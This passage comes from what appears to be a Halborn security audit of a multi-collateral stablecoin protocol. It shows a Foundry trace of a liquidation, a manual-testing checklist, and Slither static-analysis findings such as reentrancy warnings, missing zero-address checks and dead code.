│   │   ├─ [564] wTNT::balanceOf(activePool: [0x26d512B637822899a044D7F2c8735c605D8B0868]) [staticcall]
│   │   │   └─ ← 0
│   │   └─ ← ()
│   ├─ [2414] attributes::getColGasCompensationPercentDivisor() [staticcall]
│   │   └─ ← 200
│   ├─ [392] attributes::getLSDCGasCompensation() [staticcall]
│   │   └─ ← 10000000000000000000
│   ├─ [633] sortedClips::getSize(0x0000000000000000000000000000000000000000) [staticcall]
│   │   └─ ← 4
│   ├─ emit ClipIndexUpdated(_asset: 0x0000000000000000000000000000000000000000, _borrower: provider: [0x0A2035683FE5587B0B09DB0e757306aD729FE6c1], _newIndex: 0)
│   ├─ [4066] sortedClips::remove(0x0000000000000000000000000000000000000000, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   │   ├─ emit NodeRemoved(_asset: 0x0000000000000000000000000000000000000000, _id: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436])
│   │   └─ ← ()
│   ├─ emit ClipLiquidated(_asset: 0x0000000000000000000000000000000000000000, _borrower: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], _debt: 1517500000000000000000, _coll: 10000000000000000000)
│   ├─ emit ClipUpdated(_asset: 0x0000000000000000000000000000000000000000, _borrower: borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436], _debt: 0, _coll: 0, _stake: 0, _operation: 1)
│   ├─ [105856] stabilityPool::offset(0x0000000000000000000000000000000000000000, 1500000000000000000000, 983525535420988467)
│   │   ├─ [521] TenetRewardIssuanceTester::claim_rewards(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102])
│   │   │   └─ ← ()
│   │   ├─ [564] wTNT::balanceOf(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102]) [staticcall]
│   │   │   └─ ← 0
│   │   ├─ emit S_Updated(_asset: 0x0000000000000000000000000000000000000000, _S: 6556836902800658000000000000000000, _epoch: 0, _scale: 0)
│   │   ├─ emit EpochUpdated(_currentEpoch: 1)
│   │   ├─ emit ScaleUpdated(_currentScale: 0)
│   │   ├─ emit P_Updated(_P: 1000000000000000000)
│   │   ├─ [4808] activePool::decreaseLSDCDebt(0x0000000000000000000000000000000000000000, 1500000000000000000000)
│   │   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 4570000000000000000000)
│   │   │   └─ ← ()
│   │   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 0)
│   │   ├─ [2695] lSDCToken::burn(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 1500000000000000000000)
│   │   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: 0x0000000000000000000000000000000000000000, value: 1500000000000000000000)
│   │   │   └─ ← ()
│   │   ├─ [38084] activePool::sendETH(0x0000000000000000000000000000000000000000, stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 983525535420988467)
│   │   │   ├─ [23979] stabilityPool::fallback{value: 983525535420988467}()
│   │   │   │   ├─ emit StabilityPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _newBalance: 983525535420988467)
│   │   │   │   └─ ← ()
│   │   │   ├─ emit ActivePoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _ETH: 30164744645799011533)
│   │   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], _amount: 983525535420988467)
│   │   │   └─ ← ()
│   │   └─ ← ()
│   ├─ emit LTermsUpdated(_asset: 0x0000000000000000000000000000000000000000, _L_ETH: 3824821526633717, _L_LSDCDebt: 583333333333333333)
│   ├─ [2680] activePool::decreaseLSDCDebt(0x0000000000000000000000000000000000000000, 1750000000000000000)
│   │   ├─ emit ActivePoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 45525000000000000000)
│   │   └─ ← ()
│   ├─ [22290] defaultPool::increaseLSDCDebt(0x0000000000000000000000000000000000000000, 1750000000000000000)
│   │   ├─ emit DefaultPoolLSDCDebtUpdated(_asset: 0x0000000000000000000000000000000000000000, _LSDCDebt: 1750000000000000000)
│   │   └─ ← ()
```

MANUAL TESTING

8. Tests focused on using multiple collaterals instead of just one type, and analyze how the protocol handles the different user actions involved

- Add support for multiple collateral tokens within the protocol.
- Check how the system handles when using different collaterals to open a clip.
- Check how collaterals are calculated when opening a clip.
- Check how collaterals are recalculated when adding a specific collateral to an already active clip.
- Check how the system calculates the entire system collateral and the entire system debt.

9. Moreover, and very importantly, theoretically review all cases to make sure contracts have the correct business logic for the proper functionality of the stablecoin overall protocol

AUTOMATED TESTING

6.1 STATIC ANALYSIS REPORT

Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their ABI and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

Slither results:

contracts/ActivePool.sol

```
INFO:Detectors:
ActivePool._sendValidationRewardsToFeePool(address,uint256,address) (src/ActivePool.sol#138-143) uses a dangerous strict equality:
        - _amount == 0 (src/ActivePool.sol#139)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
ActivePool.setAddresses(address,address,address,address,address,address,address)._borrowerOperationsAddress (src/ActivePool.sol#45) lacks a zero-check on :
                - borrowerOperationsAddress = _borrowerOperationsAddress (src/ActivePool.sol#67)
ActivePool.setAddresses(address,address,address,address,address,address,address)._clipManagerAddress (src/ActivePool.sol#46) lacks a zero-check on :
                - clipManagerAddress = _clipManagerAddress (src/ActivePool.sol#68)
ActivePool.setAddresses(address,address,address,address,address,address,address)._stabilityPoolAddress (src/ActivePool.sol#47) lacks a zero-check on :
                - stabilityPoolAddress = _stabilityPoolAddress (src/ActivePool.sol#69)
ActivePool.setAddresses(address,address,address,address,address,address,address)._defaultPoolAddress (src/ActivePool.sol#48) lacks a zero-check on :
                - defaultPoolAddress = _defaultPoolAddress (src/ActivePool.sol#70)
ActivePool.setAddresses(address,address,address,address,address,address,address)._collSurPlusPoolAddress (src/ActivePool.sol#49) lacks a zero-check on :
                - collSurPlusPoolAddress = _collSurPlusPoolAddress (src/ActivePool.sol#71)
ActivePool.setAddresses(address,address,address,address,address,address,address)._validationFeePoolAddress (src/ActivePool.sol#50) lacks a zero-check on :
                - validationFeePoolAddress = _validationFeePoolAddress (src/ActivePool.sol#72)
ActivePool.sendETH(address,address,uint256)._account (src/ActivePool.sol#104) lacks a zero-check on :
                - (success_scope_0) = _account.call{value: _amount}() (src/ActivePool.sol#122)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#211-214)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#85-87) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#95-101) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#114-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#128-137) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#145-147) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#155-162) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65) is never used and should be removed
AddressUpgradeable.verifyCallResult(bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#194-204) is never used and should be removed
AddressUpgradeable.verifyCallResultFromTarget(address,bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#170-186) is never used and should be removed
ContextUpgradeable.__Context_init() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
Initializable._disableInitializers() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#144-150) is never used and should be removed
Initializable._getInitializedVersion() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#155-157) is never used and should be removed
Initializable._isInitializing() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#162-164) is never used and should be removed
SafeMathUpgradeable.div(uint256,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#191-200) is never used and should be removed
SafeMathUpgradeable.mod(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#151-153) is never used and should be removed
SafeMathUpgradeable.mod(uint256,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#217-226) is never used and should be removed
SafeMathUpgradeable.sub(uint256,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#168-177) is never used and should be removed
SafeMathUpgradeable.tryAdd(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#22-28) is never used and should be removed
SafeMathUpgradeable.tryDiv(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#64-69) is never used and should be removed
SafeMathUpgradeable.tryMod(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#76-81) is never used and should be removed
SafeMathUpgradeable.tryMul(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#47-57) is never used and should be removed
SafeMathUpgradeable.trySub(uint256,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#35-40) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/access/OwnableUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (src/ActivePool.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IActivePool.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IAttributes.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IDeposit.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/ILLSDStaking.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IPool.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IStaker.sol#3) allows old versions
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65):
        - (success) = recipient.call{value: amount}() (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#63)
Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#128-137):
        - (success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#135)
Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#155-162):
```

contracts/BorrowerOperations.sol

```
INFO:Detectors:
BorrowerOperations._adjustClip(address,uint256,address,uint256,uint256,bool,address,address,uint256).vars (src/BorrowerOperations.sol#224) is a local variable never initialized
BorrowerOperations.openClip(address,uint256,uint256,uint256,address,address).vars (src/BorrowerOperations.sol#134) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables
INFO:Detectors:
BorrowerOperations.openClip(address,uint256,uint256,uint256,address,address) (src/BorrowerOperations.sol#132-183) ignores return value by contractsCache.clipManager.increaseClipColl(vars.asset,msg.sender,vars.token
BorrowerOperations.openClip(address,uint256,uint256,uint256,address,address) (src/BorrowerOperations.sol#132-183) ignores return value by contractsCache.clipManager.increaseClipDebt(vars.asset,msg.sender,vars.compo
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
BorrowerOperations.setAddresses(address,address,address,address,address,address,address,address,address,address)._stabilityPoolAddress (src/BorrowerOperations.sol#82) lacks a zero-check on :
                - stabilityPoolAddress = _stabilityPoolAddress (src/BorrowerOperations.sol#110)
BorrowerOperations.setAddresses(address,address,address,address,address,address,address,address,address,address)._gasPoolAddress (src/BorrowerOperations.sol#83) lacks a zero-check on :
                - gasPoolAddress = _gasPoolAddress (src/BorrowerOperations.sol#111)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
Reentrancy in BorrowerOperations._adjustClip(address,uint256,address,uint256,uint256,bool,address,address,uint256) (src/BorrowerOperations.sol#222-301):
        External calls:
        - vars.price = priceFeed.fetchPrice(vars.asset) (src/BorrowerOperations.sol#232)
        - contractsCache.clipManager.applyPendingRewards(vars.asset,_borrower) (src/BorrowerOperations.sol#248)
        - vars.LSDCFee = _triggerBorrowingFee(vars.asset,contractsCache.clipManager,contractsCache.lsdcToken,_LSDCChange,_maxFeePercentage) (src/BorrowerOperations.sol#257)
                - _clipManager.decayBaseRateFromBorrowing(_asset) (src/BorrowerOperations.sol#346)
                - _lsdcToken.mint(attributes.feeCollector(),LSDCFee) (src/BorrowerOperations.sol#351)
        - (vars.newColl,vars.newDebt) = _updateClipFromAdjustment(vars.asset,contractsCache.clipManager,_borrower,vars.collChange,vars.isCollIncrease,vars.netDebtChange,_isDebtIncrease) (src/BorrowerOperations.sol#
                - newColl = _clipManager.increaseClipColl(_asset,_borrower,_collChange) (src/BorrowerOperations.sol#391-392)
                - newColl = _clipManager.decreaseClipColl(_asset,_borrower,_collChange) (src/BorrowerOperations.sol#391-392)
                - newDebt = _clipManager.increaseClipDebt(_asset,_borrower,_debtChange) (src/BorrowerOperations.sol#393-394)
                - newDebt = _clipManager.decreaseClipDebt(_asset,_borrower,_debtChange) (src/BorrowerOperations.sol#393-394)
        - vars.stake = contractsCache.clipManager.updateStakeAndTotalStakes(vars.asset,_borrower) (src/BorrowerOperations.sol#280)
        - sortedClips.reInsert(vars.asset,_borrower,newNICR,_upperHint,_lowerHint) (src/BorrowerOperations.sol#284)
        Event emitted after the call(s):
        - ClipUpdated(vars.asset,_borrower,vars.newDebt,vars.newColl,vars.stake,BorrowerOperation.adjustClip) (src/BorrowerOperations.sol#286)
        - LSDCBorrowingFeePaid(vars.asset,msg.sender,vars.LSDCFee) (src/BorrowerOperations.sol#287)
Reentrancy in BorrowerOperations.closeClip(address) (src/BorrowerOperations.sol#303-328):
        External calls:
        - clipManagerCached.applyPendingRewards(_asset,msg.sender) (src/BorrowerOperations.sol#310)
        - clipManagerCached.removeStake(_asset,msg.sender) (src/BorrowerOperations.sol#317)
        - clipManagerCached.closeClip(_asset,msg.sender) (src/BorrowerOperations.sol#318)
        Event emitted after the call(s):
        - ClipUpdated(_asset,msg.sender,0,0,0,BorrowerOperation.closeClip) (src/BorrowerOperations.sol#320)
Reentrancy in BorrowerOperations.openClip(address,uint256,uint256,uint256,address,address) (src/BorrowerOperations.sol#132-183):
        External calls:
        - vars.price = priceFeed.fetchPrice(_asset) (src/BorrowerOperations.sol#139)
        - vars.LSDCFee = _triggerBorrowingFee(vars.asset,contractsCache.clipManager,contractsCache.lsdcToken,_LSDCAmount,_maxFeePercentage) (src/BorrowerOperations.sol#148)
                - _clipManager.decayBaseRateFromBorrowing(_asset) (src/BorrowerOperations.sol#346)
                - _lsdcToken.mint(attributes.feeCollector(),LSDCFee) (src/BorrowerOperations.sol#351)
        - contractsCache.clipManager.updateValidationRewards(vars.asset) (src/BorrowerOperations.sol#162)
        - contractsCache.clipManager.setClipStatus(vars.asset,msg.sender,1) (src/BorrowerOperations.sol#163)
        - contractsCache.clipManager.increaseClipColl(vars.asset,msg.sender,vars.tokenAmount) (src/BorrowerOperations.sol#164)
        - contractsCache.clipManager.increaseClipDebt(vars.asset,msg.sender,vars.compositeDebt) (src/BorrowerOperations.sol#165)
        - contractsCache.clipManager.updateClipRewardSnapshots(vars.asset,msg.sender) (src/BorrowerOperations.sol#167)
        - contractsCache.clipManager.updateClipValidationRewardSnapshots(vars.asset,msg.sender) (src/BorrowerOperations.sol#168)
        - vars.stake = contractsCache.clipManager.updateStakeAndTotalStakes(vars.asset,msg.sender) (src/BorrowerOperations.sol#169)
        - sortedClips.insert(vars.asset,msg.sender,vars.NICR,_upperHint,_lowerHint) (src/BorrowerOperations.sol#171)
        - vars.arrayIndex = contractsCache.clipManager.addClipOwnerToArray(vars.asset,msg.sender) (src/BorrowerOperations.sol#172)
        Event emitted after the call(s):
        - ClipCreated(vars.asset,msg.sender,vars.arrayIndex) (src/BorrowerOperations.sol#173)
Reentrancy in BorrowerOperations.openClip(address,uint256,uint256,uint256,address,address) (src/BorrowerOperations.sol#132-183):
        External calls:
        - vars.price = priceFeed.fetchPrice(_asset) (src/BorrowerOperations.sol#139)
        - vars.LSDCFee = _triggerBorrowingFee(vars.asset,contractsCache.clipManager,contractsCache.lsdcToken,_LSDCAmount,_maxFeePercentage) (src/BorrowerOperations.sol#148)
                - _clipManager.decayBaseRateFromBorrowing(_asset) (src/BorrowerOperations.sol#346)
                - _lsdcToken.mint(attributes.feeCollector(),LSDCFee) (src/BorrowerOperations.sol#351)
        - contractsCache.clipManager.updateValidationRewards(vars.asset) (src/BorrowerOperations.sol#162)
        - contractsCache.clipManager.setClipStatus(vars.asset,msg.sender,1) (src/BorrowerOperations.sol#163)
        - contractsCache.clipManager.increaseClipColl(vars.asset,msg.sender,vars.tokenAmount) (src/BorrowerOperations.sol#164)
        - contractsCache.clipManager.increaseClipDebt(vars.asset,msg.sender,vars.compositeDebt) (src/BorrowerOperations.sol#165)
        - contractsCache.clipManager.updateClipRewardSnapshots(vars.asset,msg.sender) (src/BorrowerOperations.sol#167)
        - contractsCache.clipManager.updateClipValidationRewardSnapshots(vars.asset,msg.sender) (src/BorrowerOperations.sol#168)
        - vars.stake = contractsCache.clipManager.updateStakeAndTotalStakes(vars.asset,msg.sender) (src/BorrowerOperations.sol#169)
        - sortedClips.insert(vars.asset,msg.sender,vars.NICR,_upperHint,_lowerHint) (src/BorrowerOperations.sol#171)
        - vars.arrayIndex = contractsCache.clipManager.addClipOwnerToArray(vars.asset,msg.sender) (src/BorrowerOperations.sol#172)
        - _activePoolAddColl(vars.asset,contractsCache.activePool,vars.tokenAmount) (src/BorrowerOperations.sol#176)
```

contracts/Attributes.sol

```
INFO:Detectors:
Attributes.admin (src/Attributes.sol#47) is never initialized. It is used in:
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-state-variables
INFO:Detectors:
Attributes.initialize(address,address,address,address,address) (src/Attributes.sol#61-97) performs a multiplication on the result of a division:
        - BORROWING_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5 (src/Attributes.sol#89)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
Attributes.addAsset(address,bool,address) (src/Attributes.sol#160-175) ignores return value by _assets.add(_asset) (src/Attributes.sol#167)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
Attributes.initialize(address,address,address,address,address)._feeCollector (src/Attributes.sol#63) lacks a zero-check on :
                - feeCollector = _feeCollector (src/Attributes.sol#80)
Attributes.initialize(address,address,address,address,address)._validationRewardsReceiver (src/Attributes.sol#62) lacks a zero-check on :
                - validationRewardsReceiver = _validationRewardsReceiver (src/Attributes.sol#81)
Attributes.initialize(address,address,address,address,address)._activePoolAddress (src/Attributes.sol#64) lacks a zero-check on :
                - activePoolAddress = _activePoolAddress (src/Attributes.sol#82)
Attributes.initialize(address,address,address,address,address)._stabilityPoolAddress (src/Attributes.sol#65) lacks a zero-check on :
                - stabilityPoolAddress = _stabilityPoolAddress (src/Attributes.sol#83)
Attributes.initialize(address,address,address,address,address)._validationRewardToken (src/Attributes.sol#66) lacks a zero-check on :
                - validationRewardToken = _validationRewardToken (src/Attributes.sol#84)
Attributes.setValidationRewardToken(address)._validationRewardToken (src/Attributes.sol#201) lacks a zero-check on :
                - validationRewardToken = _validationRewardToken (src/Attributes.sol#203)
Attributes.setFeeCollector(address)._feeCollector (src/Attributes.sol#207) lacks a zero-check on :
                - feeCollector = _feeCollector (src/Attributes.sol#208)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
Reentrancy in Attributes.addAsset(address,bool,address) (src/Attributes.sol#160-175):
        External calls:
        - IStaker(activePoolAddress).addAsset(_asset,_stakingContract) (src/Attributes.sol#169)
        - IStaker(stabilityPoolAddress).addAsset(_asset,_stakingContract) (src/Attributes.sol#170)
        Event emitted after the call(s):
        - AssetAdded(_asset) (src/Attributes.sol#172)
        - DepositAllowedUpdated(_asset,_depositsEnabled) (src/Attributes.sol#173)
        - StakingContractUpdated(_asset,_stakingContract) (src/Attributes.sol#174)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#211-214)
EnumerableSetUpgradeable.values(EnumerableSetUpgradeable.Bytes32Set) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#219-229) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#224-226)
EnumerableSetUpgradeable.values(EnumerableSetUpgradeable.AddressSet) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#293-303) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#298-300)
EnumerableSetUpgradeable.values(EnumerableSetUpgradeable.UintSet) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#367-377) uses assembly
        - INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#372-374)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#85-87) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#95-101) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#114-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#128-137) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#145-147) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#155-162) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65) is never used and should be removed
AddressUpgradeable.verifyCallResult(bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#194-204) is never used and should be removed
AddressUpgradeable.verifyCallResultFromTarget(address,bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#170-186) is never used and should be removed
ContextUpgradeable.__Context_init() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
EnumerableSetUpgradeable._at(EnumerableSetUpgradeable.Set,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#141-143) is never used and should be removed
EnumerableSetUpgradeable._length(EnumerableSetUpgradeable.Set) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#127-129) is never used and should be removed
EnumerableSetUpgradeable._remove(EnumerableSetUpgradeable.Set,bytes32) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#83-115) is never used and should be removed
EnumerableSetUpgradeable.add(EnumerableSetUpgradeable.Bytes32Set,bytes32) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#169-171) is never used and should be removed
EnumerableSetUpgradeable.add(EnumerableSetUpgradeable.UintSet,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#317-319) is never used and should be removed
EnumerableSetUpgradeable.at(EnumerableSetUpgradeable.AddressSet,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#281-283) is never used and should be removed
EnumerableSetUpgradeable.at(EnumerableSetUpgradeable.Bytes32Set,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#207-209) is never used and should be removed
EnumerableSetUpgradeable.at(EnumerableSetUpgradeable.UintSet,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#355-357) is never used and should be removed
EnumerableSetUpgradeable.contains(EnumerableSetUpgradeable.Bytes32Set,bytes32) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#186-188) is never used and should be remov
EnumerableSetUpgradeable.contains(EnumerableSetUpgradeable.UintSet,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#334-336) is never used and should be removed
EnumerableSetUpgradeable.length(EnumerableSetUpgradeable.AddressSet) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#267-269) is never used and should be removed
EnumerableSetUpgradeable.length(EnumerableSetUpgradeable.Bytes32Set) (lib/openzeppelin-contracts/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol#193-195) is never used and should be removed
```

contracts/PriceFeed.sol

```
INFO:Detectors:
PriceFeed.fetchPrice(address) (src/PriceFeed.sol#51-56) ignores return value by (price,None) = oracle.getPrice(_asset) (src/PriceFeed.sol#53)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) uses assembly
	- INLINE ASM (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#211-214)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
AddressUpgradeable._revert(bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#206-218) is never used and should be removed
